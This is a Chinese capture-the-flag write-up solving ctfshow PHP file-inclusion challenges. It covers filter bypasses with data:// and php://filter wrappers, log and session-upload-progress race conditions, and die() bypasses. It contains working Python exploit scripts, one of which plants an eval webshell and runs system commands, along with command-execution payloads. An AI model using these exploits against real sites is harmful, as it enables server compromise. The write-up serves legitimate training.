概述
web79(过滤php)
本题考察php伪协议中的其他方法,对php进行了过滤
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}
可以采用data伪协议
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
后面的base64代表 <?php system('cat flag.php');?>
也可以利用php的input协议,再通过php大小写绕过,hackbar没有用,bp抓包后可以利用。
web80,81(过滤php,data)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
本题过滤了:php和data,可以同样采用和上一题的方法:利用Php对大小写绕过
也可以使用日志包含,81题采用一样的办法:
当bp抓包后发现,所有的信息包括user-ugent都被记录在了日志中,尝试利用日志得到flag
如果没有得到想要的多试几次即可:
web82-84(以上基础还过滤了 . :)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
1在php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off
第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
> 我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
> linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
> 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。
> 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
> 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完
exp:
import io
import requests
import threading
url = 'http://60d9bc1a-93ec-46b6-85b7-e0dba5f76a62.challenge.ctf.show/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
85-86
依然使用条件竞争,不过需要加线程:
exp:
import io
import requests
import threading
url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
直接把网站跑炸了,flag没有搞出来
web87(绕过die函数)
(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
本题同样时过滤了php data : .
由于urldecode函数的存在,可以两次url加密file变量,传入变量后,服务器会自动解码,再进行判断是否存在违规字符,再进行一次urldecode,即绕过过滤
本题需要绕过die函数,不然会提前终止程序
绕过die函数方法:
base64加秘后,由于会忽略掉一些符号以及中文字体( +, / , 0-9,a-z,A~Z,其余字符都会被跳过),再者base64加密是4个一组,可以添加两个字母,得到phpdieaa,成功绕过die函数
第一,get传参file写入文件并且进行base64解码,并进行两次url编码,即
/?file=php://filter/write=convert.base64-decode/resource=1.php
//两次urlencode后
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
第二,content传入参数并在文件头加上两个字母
content=<?php system('tac f*.php');?>
//base64编码
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
得到flag
url编码脚本:
import os
def main():
clearFlag = "y"
while(1):
if clearFlag == "y" or clearFlag == "Y":
os.system("cls")
clearFlag = ""
string = input("请输入需要转换的字符串 :")
type = input("请选择操作类型(1:加密 2:解密) :")
while(type != "1" and type != "2"):
type = input("操作类型输入错误,请重新选择(1:加密 2:解密) :")
if type == "1" :
encode_string = encode(string)
print("编码结果为:"+encode_string+"n")
if type == "2" :
decode_string = decode(string)
print("解码结果为:"+decode_string+"【请注意前后空格】n")
clearFlag = input("按Y/y清空屏幕继续:")
#编码
def encode(string):
encode_string = ""
for char in string:
encode_char = hex(ord(char)).replace("0x","%")
encode_string += encode_char
return encode_string
#解码
def decode(string):
decode_string = ""
string_arr = string.split("%")
string_arr.pop(0) #删除第一个空元素
for char in string_arr:
decode_char = chr(eval("0x"+char))
decode_string += decode_char
return decode_string
main()
web88(绕过= +)
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
如果要使用data协议的话需要对其进行修改,base64编码后很容易出现=和+,所以需要去调整payload,添加以下字符以保证编码后的payload没有敏感字符:
/
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvICdhYmRjJzs/PmFh
//也就是:
/?file=data://text/plain;base64,<?php system('tac *.php');echo 'abdc';?>aa 这里的echo abdc是为了逻辑上不出现错误
web117(过滤器绕过die函数)
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
本题同样是绕过死亡函数,但是base64被禁,改用另外一种方法:
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用 iconv ( string $in_charset, string $out_charset , string s t r ) : 将 字 符 串 str):将字符串 str):将字符串str从in_charset编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[dotast]);?>');
echo "经过一次反转:".$result."n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
//输出结果如下:
//经过一次反转:?<hp pe@av(l_$OPTSd[tosa]t;)>?
//经过第二次反转:<?php @eval($_POST[dotast]);?>
利用exp:
import requests
url = "http://c170d9ae-65c7-4ff4-9c27-dcb600303b6e.challenge.ctf.show/"
get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php"
get_url = url + "?file=" + get_data
data = {
'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?'
}
res = requests.post(url=get_url, data=data)
shell_url = url + "dotast.php"
test = requests.get(shell_url)
if(test.status_code == 200):
print("[*]getshell成功")
shell_data = {
'dotast': 'system("cat flag.php");'
}
result = requests.post(url=shell_url, data=shell_data)
print(result.text)
得到flag:
最后
以上就是爱听歌咖啡豆为你收集整理的文件包含(ctfshow web入门)的全部内容,希望文章能够帮你解决文件包含(ctfshow web入门)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复